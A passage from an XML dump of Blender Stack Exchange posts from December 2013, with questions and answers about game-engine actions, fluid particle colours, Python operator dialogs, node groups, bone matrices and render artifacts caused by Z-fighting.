limiting.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-10T04:10:35.680" LastActivityDate="2013-12-10T04:10:35.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5424" PostTypeId="1" CreationDate="2013-12-10T03:25:13.780" Score="1" ViewCount="1370" Body="&lt;p&gt;I created an action, &quot;run&quot;, in the animation editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the animation, I moved the bones in pose mode and used &lt;em&gt;automatic keyframes&lt;/em&gt;, so, for each movement of the bones, it creates a new frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if I forgot something, but with the animation complete, I added a keyboard sensor in the &lt;em&gt;Game Logic Editor&lt;/em&gt; and set the key to &lt;kbd&gt;W&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then added an &lt;em&gt;And&lt;/em&gt; controller and the action &quot;run&quot;. I used the following settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Action playback type to &lt;em&gt;loop stop&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;start frame&lt;/em&gt; &lt;code&gt;1&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;End frame&lt;/em&gt; &lt;code&gt;30&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;blending&lt;/em&gt; &lt;code&gt;3&lt;/code&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I then connected the logic bricks. What I don't get is that when I press &lt;kbd&gt;P&lt;/kbd&gt; and &lt;kbd&gt;W&lt;/kbd&gt;, the character doesn't execute the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do; I have read many pages; I have seen many tutorials, but I don't get how to do this part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastEditorUserId="2217" LastEditDate="2014-07-29T14:36:04.653" LastActivityDate="2015-03-19T20:12:40.670" Title="Problem assigning action in BGE" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5425" PostTypeId="1" CreationDate="2013-12-10T07:30:51.213" Score="14" ViewCount="2125" Body="&lt;p&gt;This is follow up question based on &lt;a href=&quot;https://blender.stackexchange.com/questions/5422/how-to-apply-gradient-color-change-in-an-animation&quot;&gt;{this post}&lt;/a&gt;, indeed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is &lt;strong&gt;how to attach color attribute to fluid particles?&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when a part of colored fluid (as explained &lt;a href=&quot;https://blender.stackexchange.com/questions/5422/how-to-apply-gradient-color-change-in-an-animation&quot;&gt;{here}&lt;/a&gt;) separates, how to keep the assigned color moving with the particle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For demonstration check the following:&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NEuEq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2016-02-04T02:11:45.157" Title="How to attach colors (e.g., gradient color) to fluid particles" Tags="&lt;animation&gt;&lt;physics&gt;&lt;particles&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5427" PostTypeId="1" CreationDate="2013-12-10T08:06:54.553" Score="8" ViewCount="1614" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uJTf0.png&quot; alt=&quot;file icon does nothing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dialog above is created with the code below. When I click on the file icon (see red arrow), nothing happens. Is there a proper way to get these to just work or at least point to a custom operator which invokes &lt;code&gt;context.window_manager.fileselect_add(self)&lt;/code&gt; or something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really seems like the functionality I want should be built into the &lt;code&gt;StringProperty&lt;/code&gt; when using &lt;code&gt;FILE_PATH&lt;/code&gt; as a subtype... I must be missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is execute a single operation that requires selecting more than one file path. I can invoke 2 &lt;code&gt;fileselect_add&lt;/code&gt;'s one after the other, but it becomes confusing because right when you click to accept the path the new path window opens immediately. It is just too confusing as to which one is being selected as there is really no way to customize the fileselect_add window to any usefull degree (as far as I am aware) to make it more obvious what the user is selecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dialog code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class mydialog(bpy.types.Operator):&#xA;        bl_idname = &quot;tools.mydialog&quot;&#xA;        bl_label = &quot;My Dialog&quot;&#xA;&#xA;        inFilePath = StringProperty(name=&quot;input file&quot;, subtype=&quot;FILE_PATH&quot;)&#xA;        outFilePrefix = StringProperty(name=&quot;out prefix&quot;, subtype=&quot;FILE_PATH&quot;)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;    def execute(self, context):&#xA;        print(self.inFilePath)&#xA;        print(self.outFilePrefix)&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1458" LastEditorUserId="1363" LastEditDate="2014-02-10T17:29:04.707" LastActivityDate="2014-02-10T18:59:10.280" Title="Popup Dialog StringProperty File Icons Do Nothing" Tags="&lt;python&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5428" PostTypeId="2" ParentId="3445" CreationDate="2013-12-10T08:21:46.137" Score="1" Body="&lt;p&gt;Sometimes it is convenient to use the &lt;code&gt;bpy.ops.wm.context_*&lt;/code&gt; operators to change context properties, as you don't need to create your own operator to wrap single-liners.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Operator call&#xA;bpy.ops.wm.context_set_value(data_path=&quot;object.location&quot;, value=&quot;(1,2,3)&quot;)&#xA;&#xA;# Add to layout&#xA;props = row.operator(&quot;wm.context_set_value&quot;, text=&quot;Orgin&quot;)&#xA;props.data_path = &quot;object.location&quot;&#xA;props.value = &quot;(0,0,0)&quot;&#xA;&#xA;# data_path can be any member of bpy.context&#xA;# If it's not available, the operator will PASS_THROUGH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-12-10T08:21:46.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5429" PostTypeId="1" CreationDate="2013-12-10T10:43:21.353" Score="1" ViewCount="75" Body="&lt;p&gt;I would like to get the camera to slowly rotate around a object and keep facing it. I would to this with key frames but then the camera would travel in strait paths. How could I do this?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2013-12-10T10:43:21.353" Title="Rotate camera around object for animation" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2013-12-10T11:04:18.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="5430" PostTypeId="2" ParentId="5387" CreationDate="2013-12-10T12:39:59.837" Score="14" Body="&lt;p&gt;Thanks to &lt;a href=&quot;https://blender.stackexchange.com/questions/5413/how-to-connect-nodes-to-node-group-inputs-and-outputs-in-python&quot;&gt;iKlsR's response&lt;/a&gt; the complete answer here becomes mostly the same -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# create a group&#xA;test_group = bpy.data.node_groups.new('testGroup', 'ShaderNodeTree')&#xA;&#xA;# create group inputs&#xA;group_inputs = test_group.nodes.new('NodeGroupInput')&#xA;group_inputs.location = (-350,0)&#xA;test_group.inputs.new('NodeSocketFloat','in_to_greater')&#xA;test_group.inputs.new('NodeSocketFloat','in_to_less')&#xA;&#xA;# create group outputs&#xA;group_outputs = test_group.nodes.new('NodeGroupOutput')&#xA;group_outputs.location = (300,0)&#xA;test_group.outputs.new('NodeSocketFloat','out_result')&#xA;&#xA;# create three math nodes in a group&#xA;node_add = test_group.nodes.new('ShaderNodeMath')&#xA;node_add.operation = 'ADD'&#xA;node_add.location = (100,0)&#xA;&#xA;node_greater = test_group.nodes.new('ShaderNodeMath')&#xA;node_greater.operation = 'GREATER_THAN'&#xA;node_greater.label = 'greater'&#xA;node_greater.location = (-100,100)&#xA;&#xA;node_less = test_group.nodes.new('ShaderNodeMath')&#xA;node_less.operation = 'LESS_THAN'&#xA;node_less.label = 'less'&#xA;node_less.location = (-100,-100)&#xA;&#xA;# link nodes together&#xA;test_group.links.new(node_add.inputs[0], node_greater.outputs[0])&#xA;test_group.links.new(node_add.inputs[1], node_less.outputs[0])&#xA;&#xA;# link inputs&#xA;test_group.links.new(group_inputs.outputs['in_to_greater'], node_greater.inputs[0])&#xA;test_group.links.new(group_inputs.outputs['in_to_less'], node_less.inputs[0])&#xA;&#xA;#link output&#xA;test_group.links.new(node_add.outputs[0], group_outputs.inputs['out_result'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To perform the same in 2.66 or older use -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# create a group&#xA;test_group = bpy.data.node_groups.new('testGroup', 'SHADER')&#xA;&#xA;# create group inputs and outputs&#xA;test_group.inputs.new('in_to_greater','VALUE')&#xA;test_group.outputs.new('out_result','VALUE')&#xA;# add a node&#xA;node_add = test_group.nodes.new('MATH')&#xA;# link them&#xA;test_group.links.new(test_group.inputs[0], node_add.inputs[0])&#xA;test_group.links.new(node_add.outputs[0], test_group.outputs[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-12-11T10:50:11.750" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5431" PostTypeId="1" AcceptedAnswerId="5432" CreationDate="2013-12-10T13:03:47.453" Score="4" ViewCount="306" Body="&lt;p&gt;I am following a &lt;a href=&quot;https://www.youtube.com/watch?v=REro5vzH2Oo&amp;amp;t=2m42s&quot; rel=&quot;nofollow noreferrer&quot;&gt;snow tutorial (from 2011)&lt;/a&gt;, and I am having some difficulties with the node editor in Blender v2.68. In the tutorial, an attribute, &quot;paintmap&quot;, is added and mixed with the main view to make visible the snowflake drop effect on the ground. The problem is that, in the newer Blender version, I can't find any similar node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yL2YY.jpg&quot; alt=&quot;Screenshot of Nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="1253" LastEditDate="2013-12-11T12:55:04.937" LastActivityDate="2013-12-11T12:55:04.937" Title="Cannot find a certain node in a newer version of Blender" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5432" PostTypeId="2" ParentId="5431" CreationDate="2013-12-10T14:15:07.450" Score="4" Body="&lt;p&gt;The nodes you want are there. Make sure that your render engine is set to &lt;em&gt;Cycles&lt;/em&gt; and you are using &lt;em&gt;Shader&lt;/em&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iVKH4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-10T14:15:07.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5434" PostTypeId="1" CreationDate="2013-12-10T18:01:39.550" Score="2" ViewCount="493" Body="&lt;p&gt;I'm using a driver with scripted expression to create chaotically swinging pendulum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One empty is used as a pivot point, the second as a pendulum controller, and some mesh linked to second empty as a child. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second empty has a constraint to keep it a constant distance from the first empty, then I did some movement in the horizontal plane by F-curves to simulate swinging. Then I wrote &lt;em&gt;PyDrivers&lt;/em&gt; to make the second empty automatically rotate to keep the local Z axis directed to first empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;TrackTo&lt;/em&gt; is good in some cases, but not this one. When the pendulum swings near the vertical axis it automatically rotates about 180 degrees around the local Z axis. So it is hard to clean up this animation by manual compensation. It is somehow connected with &lt;em&gt;gimbal&lt;/em&gt; problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote two drivers for X and Y rotation (like atan(X/dist)), I changed the axis order to &lt;em&gt;ZYX&lt;/em&gt; to allow the pendulum to rotate around local Z axis correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I worked on a remote host with Blender 2.69 through the command-line to render the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every piece of animation has the same problem: the first frame driver is not working. I tested a lot of sequences and every time only first frame was not calculated by driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well I have workaround to render first frames manually but this is a solution, because I have to render a heavy pile of animation. But I'm not sure enough that it is a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demonstration scene is here: &lt;a href=&quot;http://www.pasteall.org/blend/25644&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/25644&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="2617" LastEditDate="2014-12-16T18:53:45.017" LastActivityDate="2014-12-16T18:53:45.017" Title="Python drivers and command-line render" Tags="&lt;rendering&gt;&lt;python&gt;&lt;command-line&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5435" PostTypeId="2" ParentId="3236" CreationDate="2013-12-10T23:00:54.117" Score="8" Body="&lt;p&gt;In one of the files you sent, &lt;code&gt;RigRichardMaleGame.blend&lt;/code&gt;, you did several things wrong, the two most significant being that you moved the &lt;em&gt;metarig&lt;/em&gt; away from the generated rig instead of just hiding it. See &lt;a href=&quot;https://blender.stackexchange.com/a/1856/12&quot;&gt;#4 here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That next thing you did wrong was remove the &lt;em&gt;Armature&lt;/em&gt; modifier from the base mesh, this is what links the mesh to the rig. Your animations &lt;em&gt;will&lt;/em&gt; playback in the viewport as these have already been keyframed but the game engine's &lt;em&gt;Action Actuator&lt;/em&gt; needs this to know what mesh to associate the selected action with. The action was playing in the game engine, the mesh just wasn't being updated (hence why it went back to the default pose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;em&gt;to fix&lt;/em&gt;, just add an &lt;em&gt;Armature&lt;/em&gt; modifier to the mesh and select the hidden rig which is the proper (unmodified) one, (&lt;em&gt;metarig&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NB:&lt;/em&gt;&lt;/strong&gt; I would highly suggest &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; revisiting that scene at all. It's very botched (in terms of scene settings, scale and organization) and would no doubt lead to a plethora of further errors down the line. I would instead recommend appending out the base mesh, rigging it again (a matter of minutes using &lt;em&gt;Rigify&lt;/em&gt;) and then reanimating and making sure this time to not remove the armature modifier or mess too much with the generated rig.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-12-10T23:23:38.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5436" PostTypeId="1" AcceptedAnswerId="5437" CreationDate="2013-12-10T23:06:44.517" Score="7" ViewCount="1565" Body="&lt;p&gt;When I do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following message in my console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Color management: using fallback mode for management&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It happens everytime I start &lt;code&gt;Python&lt;/code&gt; and &lt;code&gt;import bpy&lt;/code&gt;, see the shot below&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OWKKu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior compilation I disabled Cycles, OSL, OpenColorIO, and LLVM from makefile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, multiple &lt;code&gt;import bpy&lt;/code&gt; statement does not show this error/warning message multiple times. See image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLYck.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal? Is there a way to get rid of it?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2013-12-10T23:35:08.673" LastActivityDate="2015-04-27T03:31:53.400" Title="How do I solve &quot;Color management: using fallback mode for management&quot;" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5437" PostTypeId="2" ParentId="5436" CreationDate="2013-12-10T23:50:47.713" Score="5" Body="&lt;p&gt;This is normal but you can make this message go away by building with OpenColorIO. Since it is the default now for color management in Blender, by not using it in your case here, Blender is falling back to an simpler set of color management rules, where float buffers are linearized sRGB buffers, and byte buffers are sRGB nonlinear buffers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that imports after the first will use the cached module so they are not loading the entire Blender state every time. But this means you can't for eg, have 2+ blend files loaded from Python at once. each Python process can only operate on one blend file at a time.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2015-04-27T03:31:53.400" LastActivityDate="2015-04-27T03:31:53.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5438" PostTypeId="2" ParentId="3618" CreationDate="2013-12-11T01:12:55.543" Score="3" Body="&lt;p&gt;If I understand you right, the bone shall have the same rotation as its parent (in pose mode):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7gpuu.png&quot; alt=&quot;Align PoseBone to parent&amp;#39;s rotation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this by script, all you basically need is the rotation part of the parent. Construct a 4x4 transformation matrix from the parent rotation and the target bone's translation and scale. Assign it to the bone's matrix property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;pbone = bpy.context.active_pose_bone&#xA;pbone_parent = pbone.parent&#xA;&#xA;loc = Matrix.Translation(pbone.matrix.to_translation())&#xA;&#xA;# Rotation only (strip location and scale)&#xA;# TODO: make it work for parent bones with negative scale too&#xA;rot = pbone_parent.matrix.to_euler().to_matrix().to_4x4()&#xA;&#xA;s = pbone.matrix.to_scale()        &#xA;scale = Matrix()&#xA;scale[0][0] = s[0]&#xA;scale[1][1] = s[1]&#xA;scale[2][2] = s[2]&#xA;&#xA;mat = loc * rot * scale&#xA;&#xA;pbone.matrix = mat&#xA;&#xA;# Force redraw, so transform properties are immediately visible&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'PROPERTIES':&#xA;        area.tag_redraw()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the script has issues with negative scaled parent bones, couldn't figure out how to do it properly.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-12-11T01:12:55.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5439" PostTypeId="2" ParentId="3362" CreationDate="2013-12-11T01:30:50.827" Score="2" Body="&lt;p&gt;A straight-forward approach using &lt;code&gt;convert_space()&lt;/code&gt; and a matrix to convert bone space:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;arma_ob = bpy.context.object&#xA;mesh_ob = bpy.data.objects['Suzanne']&#xA;&#xA;pose_bone = bpy.context.active_pose_bone&#xA;&#xA;bone_space = Matrix(((1,0,0,0),(0,0,1,0),(0,-1,0,0),(0,0,0,1)))&#xA;mat = arma_ob.convert_space(pose_bone, pose_bone.matrix, 'POSE', 'WORLD') * bone_space&#xA;&#xA;mesh_ob.matrix_world = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add a monkey and select a pose bone, then run the above script. Then Suzanne should look in pose bone direction. Note that bone direction is +Y, so it's (0,1,0) for a bone pointing upwards (Z).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-12-11T08:45:02.823" LastActivityDate="2013-12-11T08:45:02.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5440" PostTypeId="2" ParentId="5211" CreationDate="2013-12-11T01:44:54.403" Score="4" Body="&lt;p&gt;I'm not into quats at all, but here's something I noticed, which may or may not be of any use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Swap y and z in a matrix and look at the quat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Matrix(((1,0,0,0),(0,1,0,0),(0,0,1,0),(0,0,0,1))).to_quaternion()&#xA;Quaternion((1.0, 0.0, 0.0, 0.0))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; Matrix(((1,0,0,0),(0,0,1,0),(0,1,0,0),(0,0,0,1))).to_quaternion()&#xA;Quaternion((0.9999999403953552, 0.0, 0.0, 0.0))&#xA;&#xA;# both matrices give different orientations, but not the quats!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a custom space matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Matrix(((1,0,0,0),(0,0,-1,0),(0,1,0,0),(0,0,0,1))).to_quaternion()&#xA;Quaternion((0.7071068286895752, 0.7071068286895752, 0.0, 0.0))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; Matrix(((1,0,0,0),(0,0,1,0),(0,-1,0,0),(0,0,0,1))).to_quaternion()&#xA;Quaternion((0.7071068286895752, -0.7071068286895752, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the difference 1.0 / 0.0 vs. 0.7 / 0.7 (whereas the matrices are normalized, with using zeroes and ones only) - it might not be enough to negate the sign of a quat component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you create a custom matrix for the space conversion and cast it to quat.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-12-11T21:13:19.310" LastActivityDate="2013-12-11T21:13:19.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5441" PostTypeId="1" AcceptedAnswerId="5442" CreationDate="2013-12-11T06:25:47.360" Score="39" ViewCount="15101" Body="&lt;p&gt;I was following &lt;a href=&quot;http://blendermesh.dasya.com/creating-a-fancy-watch-in-blender&quot; rel=&quot;noreferrer&quot;&gt;this tutorial&lt;/a&gt; on creating a watch and noticed that when I rendered the watch, some pieces were messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to 3D modeling and I've just learned Blender,&#xA;I can't explain it well, so here's a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sauat.png&quot; alt=&quot;Black artifacts in rendering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nsikR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nsikR.png&quot; alt=&quot;Blender Render issue 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rqobp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqobp.png&quot; alt=&quot;Blender Render issue 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it's a problem with my World texture, the object, or the object's texture/material, so I can't even guess how to fix it. What causes this? Is it possible to fix it?&lt;/p&gt;&#xA;" OwnerUserId="1813" LastEditorUserId="55" LastEditDate="2016-02-02T11:40:59.607" LastActivityDate="2020-06-30T03:26:22.290" Title="Cause of black artifacts in render?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;texturing&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5442" PostTypeId="2" ParentId="5441" CreationDate="2013-12-11T06:39:51.870" Score="63" Body="&lt;p&gt;It looks like &lt;a href=&quot;http://en.wikipedia.org/wiki/Z-fighting&quot;&gt;Z-fighting&lt;/a&gt;, which is caused by overlapping faces in your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Z-fighting&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Z-fighting is a phenomenon in 3D rendering that occurs when two or more primitives have similar values in the z-buffer. It is particularly prevalent with coplanar polygons, where two faces occupy essentially the same space, with neither in front. Affected pixels are rendered with fragments from one polygon or the other arbitrarily, in a manner determined by the precision of the z-buffer. It can also vary as the scene or camera is changed, causing one polygon to &quot;win&quot; the z test, then another, and so on. The overall effect is a flickering, noisy rasterization of two polygons which &quot;fight&quot; to color the screen pixels.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From looking at the tutorial you linked, the most likely place for this to have happened is in the &lt;em&gt;Mirror modifier&lt;/em&gt; on the overlapping pieces. Ensure that the &lt;em&gt;object origin&lt;/em&gt; is in the right place relative to the geometry, so the the geometry does not extend past the origin along the mirror axis:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3uitd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since this question is getting asked a lot and overlapping faces aren't always caused by a mirror modifier, here are some common cases where there is no readily apparent overlapping face:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Overlapping objects, one of which is hidden in the viewport. Press &lt;kbd&gt;`&lt;/kbd&gt; (often the key below the &lt;kbd&gt;Esc&lt;/kbd&gt; key) to toggle all layers visible, and then press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to unhide all hidden objects. This should make all objects visible in the viewport, but it's also possible you might have some modifier causing this. Try different combinations of disabling and enabling them in the viewport and final render).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hidden faces in edit mode. Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; in edit mode to make sure all geometry is visible in the viewport while in edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once unhidden, try selecting the problem faces/objects and see if moving them (&lt;kbd&gt;G&lt;/kbd&gt;) reveals multiple faces/objects in the same location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are multiple faces in the same place, one way you can try to get rid of them is with the &lt;a href=&quot;http://blender.org/manual/modeling/meshes/editing/basics/deleting.html#remove-doubles&quot;&gt;&lt;em&gt;Remove Doubles&lt;/em&gt;&lt;/a&gt; operator. Select all the vertices in the mesh with &lt;kbd&gt;A&lt;/kbd&gt;, then press &lt;kbd&gt;W&lt;/kbd&gt;&gt; Remove Doubles. This will try and merge duplicate vertices if they are on top of each other.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the case of baking, overlapping UVs can have the same effect. Try using a quick auto-unwrap guaranteed to avoid overlapping UVs such as &lt;em&gt;Smart UV Unwrap&lt;/em&gt; or &lt;em&gt;Lightmap Pack&lt;/em&gt; to see if this is the problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-21T21:25:49.930" LastActivityDate="2015-05-21T21:25:49.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
